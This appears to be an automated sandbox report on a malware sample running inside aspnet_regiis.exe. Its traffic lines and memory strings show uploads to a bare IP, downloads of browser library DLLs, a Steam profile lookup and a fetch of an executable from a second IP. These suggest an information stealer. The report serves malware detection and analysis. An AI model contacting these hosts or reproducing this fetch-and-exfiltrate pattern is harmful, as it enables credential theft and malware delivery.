Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 6069Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDBUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHCFCBKKJDGCAKFCFIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKEUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 1025Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 461Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGIUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 97509Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.197.9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

3_2_00406963

Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache

Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic

DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Content-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/a43486128347.exe
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/a43486128347.exe0
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/a43486128347.exe1kkkk
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/ldms/a43486128347.exetion:
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: file.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: file.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: file.exe	String found in binary or memory: http://ocsp.comodoca.com0
